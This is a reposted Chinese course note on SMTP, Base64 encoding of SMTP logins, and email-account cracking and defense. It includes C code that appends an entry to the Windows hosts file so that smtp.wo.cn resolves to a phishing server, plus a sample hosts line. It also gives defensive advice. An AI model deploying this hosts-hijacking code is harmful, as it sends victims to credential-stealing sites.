傳智播客c/c++公開課學習筆記--郵箱賬戶的破解與郵箱安全防控

來源:互聯網
上載者:User

標籤:space   eth   inf   name   simple   --   建立   11.2   sizeof   

一、SMTP協議

        SMTP(SimpleMail Transfer Protocol)即簡易郵件傳輸通訊協定。

SMTP協議屬於TCP/IP協議簇,通過SMTP協議所指定的server,就能夠把E-mail寄到收信人的server上。

SMTPserver則是遵循SMTP協議的發送郵件server,用來發送或中轉寄出的電子郵件。

        SMTP使用TCP提供的可靠的傳輸資料服務把郵件訊息從發信人的郵件server傳送到收信人的郵件server。

跟大多數應用程式層協議一樣,SMTP也存在兩個 端:在發信人的郵件server上執行的client和在收信人的郵件server上執行的server端。SMTP的client和server端同一時候執行在每一個郵件server上。

當一個郵件server在向其它郵件server發送郵件訊息時,它是作為SMTP客戶在執行。


二、Base64編碼

        Base64是網路上最常見的用於傳輸8Bit位元組代碼的編碼方式之中的一個,參見RFC2045~RFC2049,上面有MIME的具體規範。

        Base64編碼可用於在SMTP的username和password驗證以及郵件附件編碼。採用Base64編碼具有不可讀性,即所編碼的資料不會被人用肉眼所直接看到。

// Base64.h: interface for the CBase64 class.////////////////////////////////////////////////////////////////////////#if !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)#define AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_#include <string>#include <stdio.h>#include <string.h>using namespace std;class CBase64{public:    CBase64();    virtual ~CBase64();    virtual int Decode(const char* szDecoding, char* szOutput );//base64 to asciivirtual int Encode(const char* szEncoding, int nSize, char* szOutput);//ascii to base64protected:    unsigned char encodeBuf[3000];    char  Base2Chr( char n )    {        n &= 0x3F;    return m_sBase64Alphabet[(int)n];        if ( n < 26 )            return ( char )( n + 'A' );        else if ( n < 52 )            return ( char )( n - 26 + 'a' );        else if ( n < 62 )            return ( char )( n - 52 + '0' );        else if ( n == 62 )            return '+';        else            return '/';    }    unsigned char Chr2Base( char c )    {        if ( c >= 'A' && c <= 'Z' )            return ( unsigned char )( c - 'A' );        else if ( c >= 'a' && c <= 'z' )            return ( unsigned char )( c - 'a' + 26 );        else if ( c >= '0' && c <= '9' )            return ( unsigned char )( c - '0' + 52 );        else if ( c == '+' )            return 62;        else if ( c == '/' )            return 63;        else            return 64;  //  N^P'WV7{    }    static std::string m_sBase64Alphabet;};//modify end#endif // !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)

// Base64.cpp: implementation of the CBase64 class.#define _CRT_SECURE_NO_WARNINGS#include "Base64.h"// The 7-bit alphabet used to encode binary information//////////////////////////////////////////////////////////////////////// Construction/Destruction//////////////////////////////////////////////////////////////////////CBase64::CBase64(){ memset(encodeBuf, 0, sizeof(encodeBuf));}CBase64::~CBase64(){}std::string CBase64::m_sBase64Alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" );int CBase64::Decode(const char* szDecoding, char* szOutput )//base64 to ascii{    unsigned char * p = (unsigned char *)szOutput;    int             i, n = strlen( szDecoding );    unsigned char   c, t;    for ( i = 0; i < n; i++ )    {        if ( *szDecoding == '=' )            break;        do {            if ( *szDecoding )                   c = Chr2Base( *szDecoding++ );            else                c = 65;  //  WV7{4.=aJx        } while ( c == 64 );  //  Lx9}N^P'WV7{#,Hg;X355H        if ( c == 65 )            break;        switch ( i % 4 )        {        case 0 :            t = c << 2;            break;        case 1 :            *p++ = ( unsigned char )( t | ( c >> 4 ) );            t = ( unsigned char )( c << 4 );            break;        case 2 :            *p++ = ( unsigned char )( t | ( c >> 2 ) );            t = ( unsigned char )( c << 6 );            break;        case 3 :            *p++ = ( unsigned char )( t | c );            break;        }    }    //(char *)szOutput;    return ( (char*)p - szOutput );}int CBase64::Encode(const char* szEncoding, int nSize, char* szOutput)//ascii to base64{    std::string sOutput = string("");    int nIndex = 0;    //unsigned char cTemp1[4096];    memset(encodeBuf, 0, sizeof(encodeBuf));    if (!szEncoding)        return 0;    /*else        (unsigned char*)szEncoding;*/    memcpy(encodeBuf, szEncoding, nSize);    unsigned char *cTemp = encodeBuf;    unsigned char t;    for ( nIndex = 0; nIndex < nSize; nIndex++ )    {        switch ( nIndex % 3 )        {        case 0 :            sOutput += Base2Chr( *cTemp >> 2 );            t = ( *cTemp << 4 ) & 0x3F;            cTemp++;            break;        case 1 :            sOutput += Base2Chr( t | ( *cTemp >> 4 ) );            t = ( *cTemp << 2 ) & 0x3F;            cTemp++;            break;        case 2 :            sOutput += Base2Chr( t | ( *cTemp >> 6 ) );            sOutput += Base2Chr( *cTemp & 0x3F );            cTemp++;            break;        }    }    if ( nSize % 3 != 0 )    {        sOutput += Base2Chr( t );        if ( nSize % 3 == 1 )            sOutput += '=';        sOutput += '=';    }strcpy(szOutput, sOutput.c_str());    return sOutput.length();}

#include <stdio.h>#include <string.h>#include "Base64.h"int main01()//這個是將ascii轉化為base64的代碼{CBase64 base;//建立CBase64類的一個執行個體,也叫一個對象,char base64[100] = { 0 };char ascii[100] = "18513105526";base.Encode(ascii, strlen(ascii), base64);printf("%s\n", base64);return 0;}int main()//這個是將base64轉化為ascii的代碼{CBase64 base;//建立CBase64類的一個執行個體,也叫一個對象。char base64[100] = "UGFzc3dvcmQ6";char ascii[100] = { 0 };base.Decode(base64, ascii);//將base64這個字串轉化為ascii,結果放到ascii這個字串裡面printf("%s\n", ascii);return 0;}

三、郵箱賬戶的破解與防護

1)hosts欺騙與釣魚網站

釣魚網站的實現以及怎樣防範

釣魚網站就是一個和真實網站樣子非常相似的一個冒牌網站

釣魚網站把使用者輸入的資訊都截獲了

釣魚網站怎樣讓使用者能主動登陸到釣魚網站呢?

Hosts欺騙,在windows系統檔案夾下有一個hosts檔案,這個檔案內部存放的就是IP和網域名稱的相應關係

我僅僅須要在hosts檔案裡增加一行。比方要讓使用者登陸到mail.wo.cn這個網站的時候自己主動登陸釣魚網站

Hosts檔案裡

123.57.211.212 mail.wo.cn

怎樣防範,一定要定期檢查你的hosts檔案,看是否有未知的IP以及其它的網域名稱資訊,

不要擅自執行來路不明各種程式,由於有些程式就是惡意的改動你的hosts檔案的

#include <Windows.h>#include <stdio.h>#include <string.h>#pragma warning(disable:4996)//屏蔽vs 4996這個錯誤資訊int setHosts(const char *IP, const char *domain)//改動hosts檔案{char s[100] = { 0 };GetSystemDirectoryA(s, sizeof(s));//得到windows的系統安裝資料夾char path[1024] = { 0 };sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts");char content[1024] = { 0 };sprintf(content, "\n%s %s", IP, domain);FILE *p = fopen(path, "a");//用追加的方式開啟hosts檔案if (p){fputs(content, p);//將ip與網域名稱的相應關係寫入hosts檔案fclose(p);return 0;//代表寫入成功}return -1;// 寫入hosts檔案失敗}int main(){int rc = setHosts("123.57.211.212", "smtp.wo.cn");printf("rc = %d\n", rc);return 0;}


2)反向 Proxy

怎樣通過反向 Proxy來竊取password。以及怎樣防範

通過反向 Proxy,差點兒能夠無縫的竊取client的非常多資訊

一般如今的smtp都具備ssl。所以最好用ssl來串連郵件server。由於用ssl即使有反向 Proxy截獲了訊息報文,但破譯報文的代價會非常大。

為了郵箱的安全,請各位同學一定要使用帶ssl功能的郵件server。ssl全部報文都是加密的

切記一定不能擅自執行各種來路不明的程式,有些程式就是通過改動hosts檔案來達到釣魚或者反向 Proxy的惡意企圖的。

郵箱的password一旦泄露,有時候代價會非常大。由於非常多騙子會利用你的郵箱發郵件。同一時候萬一你的郵箱password和你的其它password是同樣。那就更危急了。


傳智播客c/c++公開課學習筆記--郵箱賬戶的破解與郵箱安全防控

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.